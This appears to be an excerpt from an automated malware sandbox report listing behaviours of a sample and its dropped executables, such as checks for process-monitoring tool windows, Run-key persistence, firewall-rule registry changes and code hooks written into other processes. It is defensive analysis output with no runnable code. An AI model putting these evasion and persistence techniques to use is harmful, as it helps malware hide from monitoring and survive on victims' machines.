Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	File created: C:\ProgramData\ndfbaljqaqzm\dckuybanmlgp.exe			Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\tDrDIT3EJ93dpzmmxTIMr4ah.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\tDrDIT3EJ93dpzmmxTIMr4ah.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\tDrDIT3EJ93dpzmmxTIMr4ah.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Creates or modifies windows services

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules

Jump to behavior

Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RageMP131
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RageMP131

Hooking and other Techniques for Hiding and Protection

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe	Memory written: PID: 5768 base: 1260005 value: E9 2B BA C5 75	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe	Memory written: PID: 5768 base: 76EBBA30 value: E9 DA 45 3A 8A	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe	Memory written: PID: 5768 base: 12C0008 value: E9 8B 8E C4 75	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe	Memory written: PID: 5768 base: 76F08E90 value: E9 80 71 3B 8A	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe	Memory written: PID: 5768 base: 2E80005 value: E9 8B 4D BF 72	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe	Memory written: PID: 5768 base: 75A74D90 value: E9 7A B2 40 8D	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe	Memory written: PID: 5768 base: 2E90005 value: E9 EB EB BF 72	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe	Memory written: PID: 5768 base: 75A8EBF0 value: E9 1A 14 40 8D	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe	Memory written: PID: 5768 base: 2EA0005 value: E9 8B 8A FB 72	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe	Memory written: PID: 5768 base: 75E58A90 value: E9 7A 75 04 8D	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe	Memory written: PID: 5768 base: 2EB0005 value: E9 2B 02 FD 72	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe	Memory written: PID: 5768 base: 75E80230 value: E9 DA FD 02 8D	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	Memory written: PID: 5816 base: 7FF8C8A50008 value: E9 EB D9 E9 FF	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	Memory written: PID: 5816 base: 7FF8C88ED9F0 value: E9 20 26 16 00	Jump to behavior

Extensive use of GetProcAddress (often used to hide API calls)

Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe

8_2_00481A30

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\FXnrFSfIY3onUvtSB3cuKesF.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
